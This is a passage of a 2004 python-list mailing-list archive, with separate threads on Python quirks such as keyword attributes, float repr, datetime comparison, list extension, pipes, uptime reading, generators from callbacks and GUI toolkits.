Date: Wed, 15 Sep 2004 09:11:46 -0400
Subject: Python Oddity - print a reserved name
In-Reply-To: <6f402501.0409150404.75292b5a@posting.google.com>
References: <6f402501.0409150404.75292b5a@posting.google.com>
Message-ID: <wfX1d.159823$4o.57181@fed1read01>

Michael Foord wrote:

> Here's a little oddity with 'print' being a reserved word...
> 
> 
>>>>class thing:
> 
> 	pass
> 
> 
>>>>something = thing()
>>>>something.print = 3
> 
> SyntaxError: invalid syntax
> 
>>>>print something.__dict__
> 
> {}
> 
>>>>something.__dict__['print'] = 3
>>>>print something.__dict__
> 
> {'print': 3}
> 
>>>>print something.print
> 
> SyntaxError: invalid syntax
> 
>>>> 
> 
> 
> See that I can't set the something.print attribute directly, but can
> set it indirectly. Is this behaviour 'necessary' or just an anomaly of
> the way IDLE detects Syntax Errors ?
> 
It's necessary. You will find that keywords (those having a specific 
meaning as a language token, such as "def" and "print") can't be used as 
attributes. The fact that you can set the attributes by manipulating the 
__dict__ directly isn't relevant - you will find you can only access 
such attributes indirectly, since any attempt to do so directly will 
result in a syntax error no matter how the Python interpreter is invoked.

regards
  Steve


From adalke at mindspring.com  Sun Sep 26 02:21:38 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Sun, 26 Sep 2004 06:21:38 GMT
Subject: Why not FP for Money?
In-Reply-To: <mailman.3913.1096153947.5135.python-list@python.org>
References: <3A81C87DC164034AA4E2DDFE11D258E3022F0E@exchange.hqamor.amorhq.net>	<mailman.3892.1096086361.5135.python-list@python.org>	<%Y95d.2674$zG1.27@newsread3.news.pas.earthlink.net>	<mailman.3902.1096119238.5135.python-list@python.org>	<gPi5d.9693$gG4.8102@newsread1.news.pas.earthlink.net>
	<mailman.3913.1096153947.5135.python-list@python.org>
Message-ID: <Sdt5d.3515$zG1.1869@newsread3.news.pas.earthlink.net>

Carlos Ribeiro wrote:
> I don't have enough knowledge of RE's theory, and I don't know if it
> can be generalized, but it's a great solution. Was it ever discussed
> here at c.l.py?

If "it" means "special lexical support for making regular expression
objects" then yes, and rejected.

If "it" means "the ability to manipulate regular expression parse
trees" then yes, to some extent.  Use the (undocumented internal)
module sre_parse.py to make a ... I think the right term is
"concrete data type".  Traversing that to make an abstract data
structure is easy, and what I did for my Martel system.

> Well, that's was the greatest part of your post. That you've got
> yourself into the hassle of checking a discussion nearly ten years old
> was fantastic, and the quality of the information you've recovered is
> nothing short of magnificent. Really. So much of superlatives :-)

Umm, thank Google for most of that.  For my part all I
remembered was that a conversation occured, that the addition
was very simple, and that the community voted for 'j' over 'i'.

> Looking back at that discussion, I think that we're on the right road.
> We already have a library working, and the proposed changes to the
> syntax follow the same precedent of the i(maginary) suffix. It's too
> early to tell, but the precendents looks good for the 'd'-suffix
> proposal.

I suspect you're right.  I'm just getting reactionary
in my old age.  :)

> There is an important difference in favor of complex numbers. I think
> that the support for the notation of complex numbers is more important
> for OUTPUT than for INPUT. It's much easier to read a complex as
> (1+2i) than to read it as complex(1,2). In large array printouts,
> that's something that makes a lot of difference.


If "in favor of" adding support for imaginaries to Python's
syntax then I disagree.  We could still have the first be
str() and the second be repr().  Though there is an advantage
that the natural (after years of education) human representation
matches the Python one.

As you point out, that is not the case for decimals.

Suppose Python3.0 goes the other way and uses decimal as
the native number type and requires some suffix for floats?

   x = 3.04      # this is a decimal
   y = 3.14159f  # this is an IEEE 754 float

>>But I've never actually used complex
>>for any of my Python work and suspect that I
>>wouldn't have a problem using (say)
>>   cmath.complex(1.12, 2.9)
>>instead if I did.
> 
> 
> But you sure find it more convenient to type (1.12+2.9i), don't you?

My point is that I find it more convient that most
objects get created via the same call-style interface.
I would find

   s = url"http://www.python.org/"

more convenient to type than

   s = urllib.urlopen("http://www.python.org/").read()

Doesn't mean I want it.

				Andrew
				dalke at dalkescientific.com


From aleaxit at yahoo.com  Tue Sep 28 12:02:07 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 28 Sep 2004 18:02:07 +0200
Subject: floating point glitch
References: <415295E6.9040602@ericsson.com>
	<l5ncl0horoifsmbadp6pu3sgje8ca2srf3@4ax.com>
	<cj5v5i$7vk$1@pegasus.csx.cam.ac.uk>
	<7xhdple624.fsf@ruckus.brouhaha.com>
	<kj0il0ddfqg7tebggk6qbnm6cvp5jumt87@4ax.com>
	<cjbqfv$kdm$1@pegasus.csx.cam.ac.uk>
Message-ID: <1gku4as.1ni4xf51edgvp2N%aleaxit@yahoo.com>

Michael Hoffman <m.h.3.9.1.without.dots.at.cam.ac.uk at example.com> wrote:

> Tim Roberts wrote:
> 
> > Right!  That's the point.  str() is the perfect solution in those cases
> > where you want the language to lie to you.  In many cases, that IS what you
> > want.  repr() is the perfect solution when you need an invertible function.
> 
> repr() does not provide an invertible function if you are using it on a
> list, as was pointed out here, since list.__repr__() essentially calls
> str() for its float members rather than repr().

?!  I think you're confused, since things are exactly the other way
around: list.__str__ calls repr on its members (so does list.__repr__,
which happens to be exactly the same function).

repr isn't necessarily perfect in all cases, but it does do a creditable
job on many built-in types -- including all kinds of built-in numbers,
strings, and containers whose leaves are such numbers and strings.


Alex


From chris at foote.com.au  Sat Sep  4 10:13:41 2004
From: chris at foote.com.au (Chris Foote)
Date: Sat, 04 Sep 2004 23:43:41 +0930
Subject: import module name collision
Message-ID: <4139cd8c$1_3@news.adelaide.pipenetworks.com>

Today I happened to accidentally name one of my project's
files 'email.py', which collides with the module of the
same name in Python's standard library:

	from email.MIMEText import MIMEText

which causes problems within MIMEText later:

   File "/usr/lib/python2.3/smtplib.py", line 49, in ?
     from email.base64MIME import encode as encode_base64
ImportError: No module named base64MIME

Is there any mechanism to refer to standard library
modules so that there's no name collision problem with
the local filename ?

... or any other solution ?

Cheers,
Chris


From pfortin at pfortin.com  Tue Sep 14 20:37:29 2004
From: pfortin at pfortin.com (Pierre Fortin)
Date: Tue, 14 Sep 2004 20:37:29 -0400
Subject: comparing datetime with date
References: <mailman.3292.1095162740.5135.python-list@python.org>
	<41477d9a$0$24391$5a62ac22@per-qv1-newsreader-01.iinet.net.au>
Message-ID: <20040914203729.627f40ad@gypsy.pfortin.com>

On Wed, 15 Sep 2004 09:24:03 +1000 Graeme wrote:

> This is very interesting because if you continue further and coerce both
> to strings you get:
> 
> >>> print str(y) == str(y) 
of course:      ^         ^   :^)
> True

> Even though there string values are different they still match?

>>> today = datetime.date(2004,9,14)
>>> yesterday = datetime.date(2004,9,13)
>>> now = datetime.datetime(2004,9,14,20,0)
>>> now == today
True
>>> now == yesterday
False
>>>

Looks like date and datetime have 3 arguments and minimum 3 args
respectively, so the comparison appears to simply use the minimum data
available...  when given more data to compare, we get:

>>> minute_ago = datetime.datetime(2004,9,14,19,59)
>>> minute_ago == now
False


> All i can assume is that when a Date / DateTime comparision is made the
> 'lowest denominator' i.e Date is used but I may be very wrong

I agree...

> Will watch this thread closely


From dperl at rogers.com  Sun Sep 12 22:11:22 2004
From: dperl at rogers.com (Dan Perl)
Date: Mon, 13 Sep 2004 02:11:22 GMT
Subject: Newbie: tuple list confusion.
References: <20040912195529.03437.00000338@mb-m27.aol.com>
	<10k9vnqkfieasd7@news.supernews.com>
Message-ID: <el71d.766$zi01.760@news04.bloor.is.net.cable.rogers.com>


"John Roth" <newsgroups at jhrothjr.com> wrote in message 
news:10k9vnqkfieasd7 at news.supernews.com...
>
> "Q852913745" <q852913745 at aol.com> wrote in message 
> news:20040912195529.03437.00000338 at mb-m27.aol.com...
>>I am trying to learn python from 'Python programming for the absolute 
>>beginner'
>> I'm sure I understand the difference between tuples and lists, but while
>> experimenting with what I have learned so far, I was suprised that this 
>> code
>> worked.
>>
>> # Create list a
>> a=["start",878,"item 1",564354,"item 2"]
>> print "length of list a =",len(a)
>> print "a =",a ; print
>>
>> # Create tuple b
>> b=(234,"item 3",456,"end")
>> print "length of tuple b =",len(b)
>> print "b =",b ; print
>>
>> print "Add b onto a"  # Shouldn't work!
>> #---------------------------------------------
>> # a=a+b    # causes an error as it should,
>> a+=b      # but why is this ok?
>> #---------------------------------------------
>> print "a =",a
>> print "length of a =",len(a)
>> print;c=raw_input("Press enter to exit")
>>
>> My book states that a=a+b and a+=b are the same, and that different 
>> 'types' of
>> sequence cannot be joined together.
>
> This is a simplification. a+=b can be done with an in-place update
> for mutable objects, such as lists. An in place update doesn't have
> to do exactly the same operation as the equivalent binary operator,
> and it seems like it doesn't here.
>
> Since it's an in-place operation, I would expect that a+=b
> would be the same as a.append(b), but I haven't checked
> that this is the case, and the manual doesn't indicate that
> append() accepts general sequences. It does, however,
> indicate that at one time it had to accept tuples, and likely
> the code to do that was never removed. See note 2
> in the Library Reference Manual under Builtin Objects -
> Builtin Types - Sequence Types - Mutable Sequence Types.
>
> I wouldn't depend on this working in future  releases.
>
> John Roth

John,

I don't think it's an 'append', it's probably an 'extend'.
    a=[1,2,3]
    a.append((4,5))
    print a      #  [1, 2, 3, (4, 5)]
    a.pop()    #  (4, 5)
    a.extend((4,5))
    print a     #  [1, 2, 3, 4, 5] 




From abra9823 at mail.usyd.edu.au  Sat Sep  4 09:10:22 2004
From: abra9823 at mail.usyd.edu.au (Ajay)
Date: Sat,  4 Sep 2004 23:10:22 +1000
Subject: extending Python error
Message-ID: <1094303422.4139bebea1b93@www-mail.usyd.edu.au>

hi!

I have a c++ file that does some XML processing (visual c++ using ATL). The
file builds fine. However when i add the header #include<Python.h>, i get a
number of errors
C:\Windows CE Tools\wce300\Pocket PC 2002\atl\include\atlbase.h(5395) :
error C2664: '__WinCE_OutputDebugStringA' : cannot convert parameter 1
from 'const unsigned short *' to 'const char *'
        Types pointed to are unrelated; conversion requires
reinterpret_cast, C-style cast or function-style cast
C:\Windows CE Tools\wce300\Pocket PC 2002\atl\include\atlbase.h(5396) :
error C2664: '__WinCE_OutputDebugStringA' : cannot convert parameter 1
from 'unsigned short [4]' to 'const char *'
        Types pointed to are unrelated; conversion requires
reinterpret_cast, C-style cast or function-style cast

any ideas where the errors are coming from?

thanks





----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.


From __peter__ at web.de  Sat Sep 11 14:29:53 2004
From: __peter__ at web.de (Peter Otten)
Date: Sat, 11 Sep 2004 20:29:53 +0200
Subject: Mail extraction problem (something's wrong with split methods)
References: <pan.2004.09.11.16.21.15.772439@public.srce.hr>
Message-ID: <chvg71$ju3$05$1@news.t-online.com>

Luka Milkovic wrote:

> temp = [mail.read()]
> enc_txt = "\n".join(temp)

These two lines an be simplified to

enc_text = mail.read()

> begin = enc_txt.find(", '[")+len(", '[")
> ending = enc_txt.find("]', ")

A guess: you are not checking whether the ending "]', " is really found. It
may well be that it is not and therefore ending set to -1 -- which means
end_txt2 will contain all characters from 'begin' until the end of the
string excluding only the last character.

> enc_txt2 = (enc_txt[begin:ending])
> mail.close()

next two lines are superfluous:

> lines = enc_txt2.splitlines()
> enc_txt3 = ' '.join([line.strip() for line in lines])

> split = re.split(",", enc_txt3)

better IMHO:

split = enc_txt2.split(",")

you need only one of the following lines:

> enc = [int(elem) for elem in split]
> enc = map(int, split)
 
If my guess doesn't pinpoint the problem, I suggest that you post the actual
code and data that reproduces the error.

Peter




From 2002 at weholt.org  Mon Sep 27 06:44:24 2004
From: 2002 at weholt.org (Thomas)
Date: Mon, 27 Sep 2004 12:44:24 +0200
Subject: Optimizing tips for os.listdir
Message-ID: <ikrfl05b77p2jlbrp3kehvf5o3u8jp35od@4ax.com>

I'm doing this :

[os.path.join(path, p) for p in os.listdir(path) if \
os.path.isdir(os.path.join(path, p))]

to get a list of folders in a given directory, skipping all plain
files. When used on folders with lots of files,  it takes rather long
time to finish. Just doing  a listdir, filtering out all plain files
and a couple of joins, I didn't think this would take so long. 

Is there a faster way of doing stuff like this?

Best regards,
Thomas


From noone at here.com  Wed Sep 29 23:11:47 2004
From: noone at here.com (M. Clift)
Date: Thu, 30 Sep 2004 04:11:47 +0100
Subject: List rotation
Message-ID: <cjftdv$ofl$1@news8.svr.pol.co.uk>

Hi All,

Could someone help me out with this?

items = ('a', 'b', 'c', 'd')
items + 1 = ( 'b', 'c', 'd', 'a')
items + 2 = ( 'c', 'd', 'a', 'b')
items + 3 = ( 'd', 'a', 'b', 'c')

 trans = 1

list = ('a', 'd', 'b', 'a', 'd', 'c', 'b')

#and items = +1, the list would be;
#list = ('b', 'a', 'c', 'b', 'a', 'd', 'c') etc..

for idx in range(len(list)):
    if trans == [1]:
        list[idx] = [???]
        print l1

Don't laugh, I'm a slow learner :  )

Thanks,

M




From donn at u.washington.edu  Tue Sep  7 14:00:22 2004
From: donn at u.washington.edu (Donn Cave)
Date: Tue, 07 Sep 2004 11:00:22 -0700
Subject: Pipe IO Problem?
References: <A5X_c.5607$wF4.1948@trndny09>
Message-ID: <donn-3E89AF.11002107092004@gnus01.u.washington.edu>

In article <A5X_c.5607$wF4.1948 at trndny09>,
 "Chris S." <chrisks at NOSPAM.udel.edu> wrote:

> A wrote a small class to handle IO through pipes, but the connection 
> only seems to work in one direction. The following code defines 
> connection.py, engine.py, and controller.py. Once connected, the engine 
> is only able to send and the controller recieve. Also, this only works 
> when using popen2.popen3. Using os.popen3 doesn't work at all and seems 
> to behave completely differently.

I'm too lazy to track down the problem in your code, but
os.popen3 vs. popen2.popen3 is an easy one.  You can see
the code yourself, in the os.py module --

  def popen3(cmd, mode="t", bufsize=-1):
      import popen2
      stdout, stdin, stderr = popen2.popen3(cmd, bufsize)
      return stdin, stdout, stderr

Note different return value.

You can avoid some confounding factors, and possibly the
need for a separate thread, if you use the UNIX file descriptors
(e.g., outpfd = outp.fileno(), os.write(outpfd, string + '\n'),
etc.  The thread could go away if select() turns out to be suitable
for your application.  The buffering you get with file objects
is relatively useless here and likely not worth the trouble it causes.

   Donn Cave, donn at u.washington.edu


From khaidarx at yahoo.com  Thu Sep 23 23:44:10 2004
From: khaidarx at yahoo.com (Abdullah Khaidar)
Date: 23 Sep 2004 20:44:10 -0700
Subject: Iteration style
References: <d8025bdb.0409230057.42951b98@posting.google.com>
	<ciubec$obq$1@pegasus.csx.cam.ac.uk>
Message-ID: <d8025bdb.0409231944.609d718d@posting.google.com>

Thanks for your correction. Now I've found that using join (list
methods) is better than others.

--M.Abdullah Khaidar
http://khaidarmak.blogspot.com


Michael Hoffman <m.h.3.9.1.without.dots.at.cam.ac.uk at example.com> wrote in message news:<ciubec$obq$1 at pegasus.csx.cam.ac.uk>...
> Abdullah Khaidar wrote:
> 
> > Is there any iteration style we must use to get faster processing
> > time?
> 
> Yes, definitely this one:
> 
> >>>>def useJoin():
> > 
> > 	list = [str(element) for element in range(5)]
> > 	return "".join(list)
> 
> You aren't going to get the right results from your getTimer() function 
> because you are just timing putting the function object on the stack, 
> rather than actually calling it.
> 
> >>>>def getTimer():
> > 
> > 	from timeit import Timer
> > 	t1 = Timer("useListIteration", "from __main__ import
> > useListIteration")
> 
> should be t1 = Timer("useListIteration()", "from __main__ import 
> useListIteration")
> 
> > 	print "Using list iteration: ", min(t1.repeat())
> 
> Of course now that you are actually calling a function, it should take a 
> lot longer, so repeating it 3 * 1,000,000 times is way too many. I would 
> change the number of integers you are concatenating from 5 to 1000 and 
> run Timer.timeit(number=100) (repeats 3 * 100 times) instead.
> 
>  >>> getTimer()
> Using list iteration:  0.751999855042
> Using normal iteration:  0.766999959946
> Using join:  0.446000099182
> 
> HTH,


From john at grulic.org.ar  Tue Sep  7 20:21:08 2004
From: john at grulic.org.ar (John Lenton)
Date: Tue, 7 Sep 2004 21:21:08 -0300
Subject: %a format
In-Reply-To: <ad052e5c.0409071548.16d2781@posting.google.com>
References: <mailman.2992.1094581774.5135.python-list@python.org>
	<usm9tx5n3.fsf@broadpark.no>
	<ad052e5c.0409071548.16d2781@posting.google.com>
Message-ID: <20040908002108.GB31732@grulic.org.ar>

On Tue, Sep 07, 2004 at 04:48:25PM -0700, Dan Bishop wrote:
> Tor Iver Wilhelmsen <tor.iver.wilhelmsen at broadpark.no> wrote in message news:<usm9tx5n3.fsf at broadpark.no>...
> > John Lenton <john at grulic.org.ar> writes:
> > 
> > > Is there any reason python's printf-style formatting is missing the
> > > (C99) '%a' specifier?
> > 
> > Because it's not very well known or used? A google for "C printf
> > format string" gave lots of resources, none of which had %a.
> 
> They do if you search for "C99" instead of just "C".
> 
> Anyhow, another reason for not supporting "%a" is that it would be
> redundant.  It would be sufficent to define an "%x" format for floats.

I don't think that's a good idea: no other specifier is dual
integer/float, and you'd break code that passes floats to a %x
expecting it to work as a %u, but in hex.

Actually the answer I was expecting was "FooOS doesn't support it" or
somesuch, not 'uhhh... el qu??' :) %a is very useful for what it was
created: serializing floats without loss of precision, and I was
surprised that python didn't support it.

-- 
John Lenton (john at grulic.org.ar) -- Random fortune:
De los parientes y el sol, entre m?s lejos, mejor. 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 196 bytes
Desc: Digital signature
URL: <http://mail.python.org/pipermail/python-list/attachments/20040907/e6be3bf3/attachment.sig>

From adurdin at gmail.com  Sun Sep  5 07:22:51 2004
From: adurdin at gmail.com (Andrew Durdin)
Date: Sun, 5 Sep 2004 21:22:51 +1000
Subject: Proto-PEP: Overloadable Boolean Operators
In-Reply-To: <413AEEF9.7060102@cosc.canterbury.ac.nz>
References: <413AEEF9.7060102@cosc.canterbury.ac.nz>
Message-ID: <59e9fd3a040905042252b37a54@mail.gmail.com>

On Sun, 05 Sep 2004 22:48:25 +1200, greg <greg at cosc.canterbury.ac.nz> wrote:
> Discussion is invited on the following proto-PEP.
> 
> -------------------------------------------------------------
> 
> PEP ??? - Overloadable Boolean Operators
> ========================================

If I understand this correctly, then logical operations on instances
of the following class should duplicate the existing behaviour for the
boolean type -- is this correct?

class MyBoolean:
    def __init__(self, value):
        self._value = value

    def __not__(self):
        return MyBoolean(not self._value)

    def __and1__(self):
        if(self._value):
            return NeedOtherOperand
        else:
            return self

    def __and2__(self, other):
        return self

    def __or1__(self):
        if(self._value):
            return self
        else:
            return NeedOtherOperand

    def __or2__(self, other):
        return self


The PEP doesn't explicitly describe when __rand2__ (or __ror2__) is
used. I'd guess that it will be called for (A and B) when A defines
neither __and1__ nor __and2__ -- is this correct?

Anyway, I'll have to have a close look at your patch -- I'd been
toying with the idea of implementing [or attempting to implement] this
myself.


From fumanchu at amor.org  Mon Sep  6 12:06:53 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Mon, 6 Sep 2004 09:06:53 -0700
Subject: Linux application deployment
Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EBD@exchange.hqamor.amorhq.net>

Alex Martelli wrote:
> Robert M. Emmons <RobMEmmons at cs.com> wrote:
>    ...
> > One thing I've always wonders was -- Is there a way for a 
> python module
> > to tell where it's file is located???  If you could do this 
> it might 
> 
> Piece of cake: the key part of this recipe is
>     def whereami(): return sys.modules[__name__].__file__
> then you can os.path.abspath this filename string as you wish.
> 
> Here's a more complete example foo.py:
> 
> #!/usr/bin/env python
> 
> import sys, os
> 
> def whereami(): return os.path.abspath(sys.modules[__name__].__file__)

Shorter version for the local directory:

import os.path
localDir = os.path.dirname(__file__)

I don't see any reason to make it a callable...?


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org


From marcus at deepfort.com  Sun Sep 19 17:36:54 2004
From: marcus at deepfort.com (marcus at deepfort.com)
Date: Sun, 19 Sep 2004 22:36:54 +0100
Subject: uptime in unix
In-Reply-To: <ciknln$16q$1@online.de>
References: <ciknln$16q$1@online.de>
Message-ID: <414DFBF6.2090702@deepfort.com>

Oli Schwarz wrote:

>Hello,
>
>how can I read out the uptime of a unix system in python (Linux and *BSD).
>
>I have not found a uptime-function in the Library.
>
>Regards 
>Oli
>
You can pull the uptime in seconds from /proc/uptime in Linux (use 
uptime in BSD, prob. Darwin).
How you retrieve it is a matter of personal taste..


For instance:

import commands
#linux
commands.getoutput('cat /proc/uptime')
etc..


Obviously if you're going to use popen, you could use the unix uptime 
command anyway I guess.

I'm guessing that's not what you want though, since it's just using a 
shell..


From fumanchu at amor.org  Sun Sep 12 17:04:47 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Sun, 12 Sep 2004 14:04:47 -0700
Subject: Greenlets: where are they now???
Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022ECB@exchange.hqamor.amorhq.net>

David Pokorny wrote:
> B) Will a later version of CPython support greenlets natively? (in
> particular by adding the appropriate entries to PyThreadState)

>From what I've seen in my limited time reading python-dev, Guido isn't
very keen on providing functionality in C which isn't equally present
for, say, Jython. So I'd guess it won't happen for quite a while. The
standard Library might allow _some_ slippage, but the Python core is
purposefully implementation-agnostic.


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org


From rkern at ucsd.edu  Wed Sep 15 16:42:27 2004
From: rkern at ucsd.edu (Robert Kern)
Date: Wed, 15 Sep 2004 13:42:27 -0700
Subject: IEEE 754 floats
In-Reply-To: <a2a325a7.0409150947.75b57e03@posting.google.com>
References: <a2a325a7.0409140504.2d36562b@posting.google.com>
	<ci6uf7$jgh$1@news1.ucsd.edu>
	<a2a325a7.0409150947.75b57e03@posting.google.com>
Message-ID: <cia9fj$ohs$1@news1.ucsd.edu>

Dale Huffman wrote:
> Thanks everyone it works... but does this seem like a kludgy (sp?) way
> to do this, or have I just not gotten to PythonThink mode yet.

I would submit that the task of converting an int to a float like that 
is a fairly rare task. It is exceedingly more common to convert a 
sequence of bytes to and from ints/floats. So Python opts for the more 
general solution, which happens to also be the best solution for the 
most common case.

Additionally, the fine details of memory layout for basic types like 
ints and floats *ought* to be hidden from the user. Of course, you can 
still get at them if you need to via the struct module.

If you run into this situation a lot, it's easy enough to write a 
function that encapsulates the kludge.

For getting into PythonThink mode, type "import this" at the interactive 
prompt.

-- 
Robert Kern
rkern at ucsd.edu

"In the fields of hell where the grass grows high
  Are the graves of dreams allowed to die."
   -- Richard Harter


From timothy.grant at gmail.com  Sun Sep 19 23:34:55 2004
From: timothy.grant at gmail.com (Timothy Grant)
Date: Sun, 19 Sep 2004 20:34:55 -0700
Subject: python vs c#
In-Reply-To: <1095648803.31957.373.camel@devilbox.devilnet.internal>
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<EPmdnagKPrUPhtPcRVn-iQ@giganews.com> <cilas7$3lm$1@sea.gmane.org>
	<1095648803.31957.373.camel@devilbox.devilnet.internal>
Message-ID: <e775286d04091920343ca02237@mail.gmail.com>

Thank you Julio, I'm now beginning to see the error of my ways in
developing GUI software in Vim. I didn't know that it was so difficult
and futile until I read these posts. So I'm going to give up on it and
now put all of my effort into porting VisualStudio to Linux so I can
write GUI apps in Visual Basic the way they were meant to be written.



On Sun, 19 Sep 2004 19:53:23 -0700, Cliff Wells
<clifford.wells at comcast.net> wrote:
> On Sun, 2004-09-19 at 21:13 -0400, julio wrote:
> 
> > But why so much resistence to the change ? is the denyal of reality fine?
> > why dont you care? i wouldnt care if i used python for small system
> > scripts.
> 
> Julio, you have convinced me.  I *am* going to change.  I am going to
> double my productivity by not reading or responding to silly postings
> like this anymore.  I doubt any IDE in the world is going to bring back
> the time everyone here (yourself included) has wasted listening to you
> berate people for not programming the way you do.
> 
> Regards,
> Cliff
> 
> --
> Cliff Wells <clifford.wells at comcast.net>
> 
> 
> 
> --
> http://mail.python.org/mailman/listinfo/python-list
> 



-- 
Stand Fast,
    tjg.


From abra9823 at mail.usyd.edu.au  Sun Sep  5 07:55:15 2004
From: abra9823 at mail.usyd.edu.au (Ajay)
Date: Sun,  5 Sep 2004 21:55:15 +1000
Subject: python from Java
In-Reply-To: <YIC_c.26633$Z14.8564@news.indigo.ie>
References: <mailman.2887.1094353612.5135.python-list@python.org>
	<YIC_c.26633$Z14.8564@news.indigo.ie>
Message-ID: <1094385315.413afea3d66da@www-mail.usyd.edu.au>

hi!

they are on the same machine.
basically there is an application that does some user modelling and its in
Python. the application (bunch of .py scripts) have an interface that you
use to access user models.
the java app will simply do some xml stuff at the end of which it will
access the user model through the interface.
basically what i'd like to know is if i have
#test.py
def foo(blah):
    return blah += 5

can i call foo from a Java class? more importantly what would i need to
install on the machine to be able to do that. the machine in question is a
PDA so there are some limitations on what can be installed and made to run
on it. Python runs and so does Java.

cheers



Quoting Alan Kennedy <alanmk at hotmail.com>:

> [Ajay ]
> > can you call a Python application from a Java program? does this
> require
> > any additional package to be installed?
>
> Define what you mean by "call a python application".
>
> Are the python code and java code in the same process?
>
> Are they on the same machine?
>
> Are they on different machines connected on a network?
>
> Etc, etc.
>
> --
> alan kennedy
> ------------------------------------------------------
> email alan:              http://xhaus.com/contact/alan
> --
> http://mail.python.org/mailman/listinfo/python-list
>


----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.


From cy.fbp.eryvtvne at ncbybtrglxn.pbz  Thu Sep  2 04:31:25 2004
From: cy.fbp.eryvtvne at ncbybtrglxn.pbz (JZ)
Date: Thu, 2 Sep 2004 10:31:25 +0200
Subject: Python cannot use SMTP...
References: <70l2zhex3h4i$.vnwm6z03abbm.dlg@40tude.net>
	<ch4jqm$ju3$03$1@news.t-online.com>
	<1i04cqxwzoane.1915vlaurzzbl$.dlg@40tude.net>
	<ch4p5u$q6o$03$1@news.t-online.com>
Message-ID: <1l9yydcws0h77.1n5wlrs845p10.dlg@40tude.net>

Wed, 01 Sep 2004 17:17:15 +0200, na comp.lang.python, Thomas Kr?ger
napisa?(a):

> See the /etc/xinet.d/ folder to find it out.

It is wrapped with strange soft.

> You may also try to send mail to 216.93.188.184 instead of localhost

Without results. I found other solution. I changed smtp to other host and
it helped.

--
JZ




From bokr at oz.net  Mon Sep  6 20:06:59 2004
From: bokr at oz.net (Bengt Richter)
Date: 7 Sep 2004 00:06:59 GMT
Subject: turning callback into generator
References: <opsdw5rbaz433nmu@news.cisco.com>
	<chiki1$h3e$04$1@news.t-online.com>
Message-ID: <chiu33$mc1$0$216.39.172.122@theriver.com>

On Mon, 06 Sep 2004 23:24:17 +0200, Peter Otten <__peter__ at web.de> wrote:

>Wai Yip Tung wrote:
>
>> I'm attempting to turn some process than uses callback to return result
>> into a more user friendly generator. I'm hitting some road block so any
>> pointer would be appriciated.
>
>I asked the same question a while back and there were no satisfying
>suggestions.
>
>http://mail.python.org/pipermail/python-list/2003-December/197726.html
>
>At the very least you need threads, and when the generator is not fully
>exhausted it's easy to end up with a thread waiting forever. 
>
>I finally dropped the idea, but if you are really determined and want to
>hack something together, the following might (or might not, this is really
>a shot in the dark) serve as a starting point:
>
>http://mail.python.org/pipermail/python-list/2003-July/173872.html
>

Not that familiar with python threads and queue, but here's a start:

 >>> import threading
 >>> import Queue
 >>> q = Queue.Queue(3) # ridiculously short
 >>>
 >>> def producer(n, cb):
 ...     for i in xrange(n): cb(i)
 ...
 >>> def product_generator(p, *a, **kw):
 ...     tpq = threading.Thread(target=p, args=a, kwargs=kw)
 ...     tpq.start()
 ...     try:
 ...         while True: yield q.get(True,5)
 ...     except Queue.Empty:
 ...         print 'No data for 5 seconds'
 ...
 >>> for item in product_generator(producer, 8, q.put): print item
 ...
 0
 1
 2
 3
 4
 5
 6
 7
 No data for 5 seconds
 >>>

Not tested beyond what you see ;-)

Regards,
Bengt Richter


From ajsiegel at optonline.com  Sun Sep  5 09:53:35 2004
From: ajsiegel at optonline.com (Arthur)
Date: Sun, 05 Sep 2004 13:53:35 GMT
Subject: Method returning new instance of class?
References: <4Jh_c.4378$Wv5.950@newsread3.news.atl.earthlink.net>	<4139a87a$0$30204$9b622d9e@news.freenet.de><2ok_c.5453$Vl5.4469@newsread2.news.atl.earthlink.net>
	<mailman.2870.1094319247.5135.python-list@python.org>
	<EMD_c.7014$Wv5.3607@newsread3.news.atl.earthlink.net>
Message-ID: <zTE_c.7041$Wv5.164@newsread3.news.atl.earthlink.net>


"Arthur" <ajsiegel at optonline.com> wrote in message
news:EMD_c.7014$Wv5.3607 at newsread3.news.atl.earthlink.net...
>
> Something like this seemed to work:
>
> def __copy__(self):
>    newcopy=copy.deepcopy(self)
>   newcopy.vpythonobject=<intialize new vpython object here>
>   return newcopy
>
> But before getting too far into testing whether this accomplished the copy
I
> was looking for (perhaps the success was more apparent than real, and the
> advice to resort to copy_reg is more unavoidable than I understand) I
> realized that I had misconceived something more fundamental.  That the
> normal instance creation process involves registerting the new instance
with
> the app in various ways, and that a copy won't accomplish this.
>
> That is until wrote the last paragraph, and realized that I might be able
to
> throw the registration routines into the __copy__ method.
>
> Hmmm.
>
> Let's try.

With the further realization that I wasn't buying myself anything in
particular by overriding __copy__ at this stage, but that some function
starting with a deepcopy and then reassigning some of the attributes derived
from VPython (which luckily are the attributes that I want as fresh for what
I am trying to do), then running through the "registration" routines
normally done on __init__, then returning the manipulated deepcopy - I seem
to be home.

Now on to the functionality I had in mind, given this capability.

Which should be fun.

Art




From greg at cosc.canterbury.ac.nz  Fri Sep 17 02:29:31 2004
From: greg at cosc.canterbury.ac.nz (Greg Ewing)
Date: Fri, 17 Sep 2004 18:29:31 +1200
Subject: Comparioson of purpose for PyGUI and AnyGUI ???
In-Reply-To: <cc887c1d.0409162041.1433bac1@posting.google.com>
References: <cicsha$prl@odbk17.prod.google.com>
	<cid5as$u3j$1@news-reader2.wanadoo.fr>
	<cc887c1d.0409162041.1433bac1@posting.google.com>
Message-ID: <2qveidF13ssa0U1@uni-berlin.de>

Chris Barker wrote:
> One thing that isn't clear to me about PyGUI is how much they intend
> to leverage the underlying toolkits. wxWidgets (and thus wxPython)
> make use of a lot of higer level widgets like the tree controls, using
> the native ones in  the underlying toolkits. This makes apps look very
> native, but does create a very difficult problem in cross platform
> compatibility.

Yes. Ideally I would like to make use of the native widgets as
much as possible, to maximise both performance and authenticity
of look & feel. But this can limit what it is possible to provide
due to having to take the intersection of several different
toolkits.

Maybe I will be able to use native functionality where it is
